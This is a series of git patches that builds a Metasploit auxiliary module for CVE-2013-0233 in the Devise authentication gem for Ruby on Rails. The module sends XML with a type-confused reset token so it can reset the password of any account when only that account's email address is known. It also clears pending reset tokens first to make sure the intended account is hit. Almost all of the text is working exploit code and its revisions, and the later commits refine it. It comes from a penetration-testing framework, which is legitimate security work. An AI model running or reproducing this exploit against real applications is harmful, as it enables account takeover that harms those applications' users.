From 55cba56591fc7befd7d71197a84b9433c67f3780 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 10 Feb 2013 21:10:00 -0600 Subject: [PATCH 01/11] Aux module for joernchen's devise vuln - CVE-2013-0233 --- .../admin/http/rails_devise_pass_reset.rb | 139 ++++++++++++++++++ 1 file changed, 139 insertions(+) create mode 100644 modules/auxiliary/admin/http/rails_devise_pass_reset.rb diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb new file mode 100644 index 0000000000..48ae2186ad --- /dev/null +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -0,0 +1,139 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rails Devise authentication gem Password Reset', + 'Description' => %q{ + The Devise authentication gem for Ruby on Rails is vulnerable + to a password reset exploit leveraging type confusion. By submitting XML + to rails, we can influence the type used for the reset_password_token + parameter. This allows for resetting passwords of arbitrary accounts, + knowing only the associated email address. + + This module defaults to the most common devise URIs and response values, + but these may require adjustment for implementations which customize them. + + Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database + except PostgreSQL or SQLite3. + + Tested w/ v2.2.2, 2.1.2, and 2.0.4. + }, + 'Author' => + [ + 'joernchen', #original discovery and disclosure + 'jjarmoc', #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2013-0233'], + [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], + [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], + ], + 'DisclosureDate' => 'Jan 28 2013' + )) + + register_options( + [ + OptString.new('URIPATH', [ true, "The request URI", '/users/password']), + OptString.new('TARGETEMAIL', [true, "The Email address of target account", '']), + OptString.new('PASSWORD', [true, 'The password to set', "#{Rex::Text.rand_text_alpha(rand(10) + 5)}"]), + OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), + OptInt.new('MAXINT', [true, "Max integer to try (Tokens begining with a higher int will fail)", 10]) + ], self.class) + end + + def generate_token(account) + # CSRF token from GET "/users/password/new" isn't actually validated it seems. + + print_status("Generating reset token for #{account}") + + postdata="user[email]=#{account}" + + res = send_request_cgi({ + 'uri' => datastore['URIPATH'], + 'method' => 'POST', + 'data' => postdata, + }) + end + + def clear_tokens() + print_status("Clearing existing tokens") + count = 0 + status = true + until (status == false) do + status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5)) + count += 1 if status + end + print_status("Cleared #{count} tokens") + end + + def reset_one(password, report=false) + print_status("Resetting password to \"#{datastore['PASSWORD']}\"") if report + + (0..datastore['MAXINT']).each{ |int_to_try| + xml = "" + xml << "" + xml << "#{password}" + xml << "#{password}" + xml << "#{int_to_try}" + xml << "" + + res = send_request_cgi({ + 'uri' => datastore['URIPATH'] || "/", + 'method' => 'PUT', + 'ctype' => 'application/xml', + 'data' => xml, + }) + + #binding.pry if report + + case res.code + when 200 + # Failure, grab the error text + # May need to tweak this for some apps... + error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] + if (report) && (error_text !~ /token/) + print_error("Server returned an error:") + print_error(error_text) + return false + end + when 302 + #Success! + return true + else + print_error("ERROR: received code #{res.code}") + return false + end + } + + print_error("No active reset tokens below #{datastore['MAXINT']} remain. + Try a higher MAXINT.") if report + return false + + end + + def run + # Clear outstanding reset tokens, helps ensure we hit the intended account. + clear_tokens() if datastore['FLUSHTOKENS'] + + # Generate a token for our account + generate_token(datastore['TARGETEMAIL']) + + # Reset a password. We're racing users creating other reset tokens. + # If we didn't flush, we'll reset the account with the lowest ID that has a token. + status = reset_one(datastore['PASSWORD'], true) + status ? print_good("Success") : print_error("Failed") + end +end \ No newline at end of file From 43a1fbb6f29b783742ac79ff055d6e0783d3797f Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 10 Feb 2013 21:13:18 -0600 Subject: [PATCH 02/11] Make msftiday happy. --- .../auxiliary/admin/http/rails_devise_pass_reset.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 48ae2186ad..c249f96d5c 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -13,12 +13,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Rails Devise authentication gem Password Reset', + 'Name' => 'Rails Devise Authentication Gem Password Reset', 'Description' => %q{ The Devise authentication gem for Ruby on Rails is vulnerable - to a password reset exploit leveraging type confusion. By submitting XML + to a password reset exploit leveraging type confusion. By submitting XML to rails, we can influence the type used for the reset_password_token - parameter. This allows for resetting passwords of arbitrary accounts, + parameter. This allows for resetting passwords of arbitrary accounts, knowing only the associated email address. This module defaults to the most common devise URIs and response values, @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'CVE-2013-0233'], + [ 'CVE', '2013-0233'], [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], ], @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary #binding.pry if report - case res.code + case res.code when 200 # Failure, grab the error text # May need to tweak this for some apps... @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary when 302 #Success! return true - else + else print_error("ERROR: received code #{res.code}") return false end From e72dc47448a7747e347d3a3715ac7657d96592b4 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 11:12:29 -0600 Subject: [PATCH 03/11] Uses REXML for encoding of password. --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index c249f96d5c..b902b6d7a9 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'rexml/element' class Metasploit3 < Msf::Auxiliary @@ -80,13 +81,15 @@ class Metasploit3 < Msf::Auxiliary end def reset_one(password, report=false) - print_status("Resetting password to \"#{datastore['PASSWORD']}\"") if report + print_status("Resetting password to \"#{password}\"") if report (0..datastore['MAXINT']).each{ |int_to_try| + encode_pass = REXML::Text.new(password).to_s + xml = "" xml << "" - xml << "#{password}" - xml << "#{password}" + xml << "#{xmlpass}" + xml << "#{encode_pass}" xml << "#{int_to_try}" xml << "" From 61ffcedbfd64fd6d190a6d92f4f0265e757463de Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 11:17:26 -0600 Subject: [PATCH 04/11] Address HD's other comments, fixes mismatched var name in last commit. --- .../auxiliary/admin/http/rails_devise_pass_reset.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index b902b6d7a9..ac2a3d8942 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Rails Devise Authentication Gem Password Reset', + 'Name' => 'Ruby on Rails Devise Authentication Password Reset', 'Description' => %q{ The Devise authentication gem for Ruby on Rails is vulnerable to a password reset exploit leveraging type confusion. By submitting XML @@ -48,10 +48,10 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('URIPATH', [ true, "The request URI", '/users/password']), - OptString.new('TARGETEMAIL', [true, "The Email address of target account", '']), - OptString.new('PASSWORD', [true, 'The password to set', "#{Rex::Text.rand_text_alpha(rand(10) + 5)}"]), + OptString.new('TARGETEMAIL', [true, "The email address of target account"]), + OptString.new('PASSWORD', [true, 'The password to set']), OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), - OptInt.new('MAXINT', [true, "Max integer to try (Tokens begining with a higher int will fail)", 10]) + OptInt.new('MAXINT', [true, "Max integer to try (tokens begining with a higher int will fail)", 10]) ], self.class) end @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary xml = "" xml << "" - xml << "#{xmlpass}" + xml << "#{encode_pass}" xml << "#{encode_pass}" xml << "#{int_to_try}" xml << "" From 753fa2c85324b3881c5475809b15129c7f5ee64f Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 13:58:56 -0600 Subject: [PATCH 05/11] Handles error when TARGETEMAIL is invalid. --- .../admin/http/rails_devise_pass_reset.rb | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index ac2a3d8942..e6898a5797 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'rexml/element' +require 'pry' class Metasploit3 < Msf::Auxiliary @@ -67,6 +68,15 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', 'data' => postdata, }) + + if res.code == 200 + error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] + print_error("Server returned an error:") + print_error(error_text) + return false + end + return true + #binding.pry end def clear_tokens() @@ -100,8 +110,6 @@ class Metasploit3 < Msf::Auxiliary 'data' => xml, }) - #binding.pry if report - case res.code when 200 # Failure, grab the error text @@ -132,7 +140,12 @@ class Metasploit3 < Msf::Auxiliary clear_tokens() if datastore['FLUSHTOKENS'] # Generate a token for our account - generate_token(datastore['TARGETEMAIL']) + status = generate_token(datastore['TARGETEMAIL']) + if status == false + print_error("Failed") + return + end + print_good("Success") # Reset a password. We're racing users creating other reset tokens. # If we didn't flush, we'll reset the account with the lowest ID that has a token. From 5f0a3c6b9e3dca51cb68aa39f413a7affcab2ebd Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 14:02:46 -0600 Subject: [PATCH 06/11] Removes pry, oops. --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index e6898a5797..6445c286be 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rexml/element' -require 'pry' class Metasploit3 < Msf::Auxiliary @@ -76,7 +75,6 @@ class Metasploit3 < Msf::Auxiliary return false end return true - #binding.pry end def clear_tokens() From 9e1f106a876e2eb604aa254667cef0a48d37cd24 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 13:38:58 -0600 Subject: [PATCH 07/11] msftidy cleanup --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 6445c286be..6ea0d62e80 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -142,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary if status == false print_error("Failed") return - end + end print_good("Success") # Reset a password. We're racing users creating other reset tokens. From c7719bf4cb1a6d6ae6ccc10d8d5a9a003c14d818 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 13:41:21 -0600 Subject: [PATCH 08/11] Verify response is non-nil. --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 6ea0d62e80..c3c8038e56 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -68,6 +68,11 @@ class Metasploit3 < Msf::Auxiliary 'data' => postdata, }) + unless (res) + print_error("No response from server") + return false + end + if res.code == 200 error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] print_error("Server returned an error:") @@ -107,6 +112,10 @@ class Metasploit3 < Msf::Auxiliary 'ctype' => 'application/xml', 'data' => xml, }) + unless (res) + print_error("No response from server") + return false + end case res.code when 200 From c6a7a4e68dfda54428b663990944e13caeef1e67 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 14:50:10 -0600 Subject: [PATCH 09/11] /URIPATH/TARGETURI/g --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index c3c8038e56..499b971bdd 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('URIPATH', [ true, "The request URI", '/users/password']), + OptString.new('TARGETURI', [ true, "The request URI", '/users/password']), OptString.new('TARGETEMAIL', [true, "The email address of target account"]), OptString.new('PASSWORD', [true, 'The password to set']), OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary postdata="user[email]=#{account}" res = send_request_cgi({ - 'uri' => datastore['URIPATH'], + 'uri' => datastore['TARGETURI'], 'method' => 'POST', 'data' => postdata, }) @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary xml << "" res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", + 'uri' => datastore['TARGETURI'] || "/", 'method' => 'PUT', 'ctype' => 'application/xml', 'data' => xml, From 1d5d33f306cc5baa02ec03b769aa29f84a6237e5 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 14:58:07 -0600 Subject: [PATCH 10/11] use normalize_uri() --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 499b971bdd..4f577afadd 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary postdata="user[email]=#{account}" res = send_request_cgi({ - 'uri' => datastore['TARGETURI'], + 'uri' => normalize_uri(datastore['TARGETURI']), 'method' => 'POST', 'data' => postdata, }) @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary xml << "" res = send_request_cgi({ - 'uri' => datastore['TARGETURI'] || "/", + 'uri' => normalize_uri(datastore['TARGETURI']), 'method' => 'PUT', 'ctype' => 'application/xml', 'data' => xml, From 799beb5adcc958dde98974a50519b7085cb65fa5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 13 Feb 2013 01:00:25 +0100 Subject: [PATCH 11/11] minor cleanup --- .../admin/http/rails_devise_pass_reset.rb | 56 +++++++++---------- 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 4f577afadd..af7a02dd02 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -26,75 +26,72 @@ class Metasploit3 < Msf::Auxiliary but these may require adjustment for implementations which customize them. Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database - except PostgreSQL or SQLite3. - - Tested w/ v2.2.2, 2.1.2, and 2.0.4. + except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4. }, 'Author' => [ 'joernchen', #original discovery and disclosure - 'jjarmoc', #metasploit module + 'jjarmoc' #metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0233'], + [ 'OSVDB', '89642' ], + [ 'BID', '57577' ], [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], - [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], + [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'] ], 'DisclosureDate' => 'Jan 28 2013' )) register_options( [ - OptString.new('TARGETURI', [ true, "The request URI", '/users/password']), - OptString.new('TARGETEMAIL', [true, "The email address of target account"]), + OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']), + OptString.new('TARGETEMAIL', [true, 'The email address of target account']), OptString.new('PASSWORD', [true, 'The password to set']), OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), - OptInt.new('MAXINT', [true, "Max integer to try (tokens begining with a higher int will fail)", 10]) + OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10]) ], self.class) end def generate_token(account) # CSRF token from GET "/users/password/new" isn't actually validated it seems. - print_status("Generating reset token for #{account}") - postdata="user[email]=#{account}" res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI']), - 'method' => 'POST', - 'data' => postdata, - }) + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'POST', + 'data' => postdata, + }) - unless (res) + unless res print_error("No response from server") return false end if res.code == 200 error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] - print_error("Server returned an error:") - print_error(error_text) + print_error("Server returned error") + vprint_error(error_text) return false end + return true end def clear_tokens() - print_status("Clearing existing tokens") count = 0 status = true until (status == false) do status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5)) count += 1 if status end - print_status("Cleared #{count} tokens") + vprint_status("Cleared #{count} tokens") end def reset_one(password, report=false) - print_status("Resetting password to \"#{password}\"") if report (0..datastore['MAXINT']).each{ |int_to_try| encode_pass = REXML::Text.new(password).to_s @@ -112,7 +109,8 @@ class Metasploit3 < Msf::Auxiliary 'ctype' => 'application/xml', 'data' => xml, }) - unless (res) + + unless res print_error("No response from server") return false end @@ -123,8 +121,8 @@ class Metasploit3 < Msf::Auxiliary # May need to tweak this for some apps... error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] if (report) && (error_text !~ /token/) - print_error("Server returned an error:") - print_error(error_text) + print_error("Server returned error") + vprint_error(error_text) return false end when 302 @@ -136,27 +134,29 @@ class Metasploit3 < Msf::Auxiliary end } - print_error("No active reset tokens below #{datastore['MAXINT']} remain. - Try a higher MAXINT.") if report + print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report return false end def run # Clear outstanding reset tokens, helps ensure we hit the intended account. + print_status("Clearing existing tokens...") clear_tokens() if datastore['FLUSHTOKENS'] # Generate a token for our account + print_status("Generating reset token for #{datastore['TARGETEMAIL']}...") status = generate_token(datastore['TARGETEMAIL']) if status == false - print_error("Failed") + print_error("Failed to generate reset token") return end - print_good("Success") + print_good("Reset token generated successfully") # Reset a password. We're racing users creating other reset tokens. # If we didn't flush, we'll reset the account with the lowest ID that has a token. + print_status("Resetting password to \"#{datastore['PASSWORD']}\"...") status = reset_one(datastore['PASSWORD'], true) - status ? print_good("Success") : print_error("Failed") + status ? print_good("Password reset worked successfully") : print_error("Failed to reset password") end end \ No newline at end of file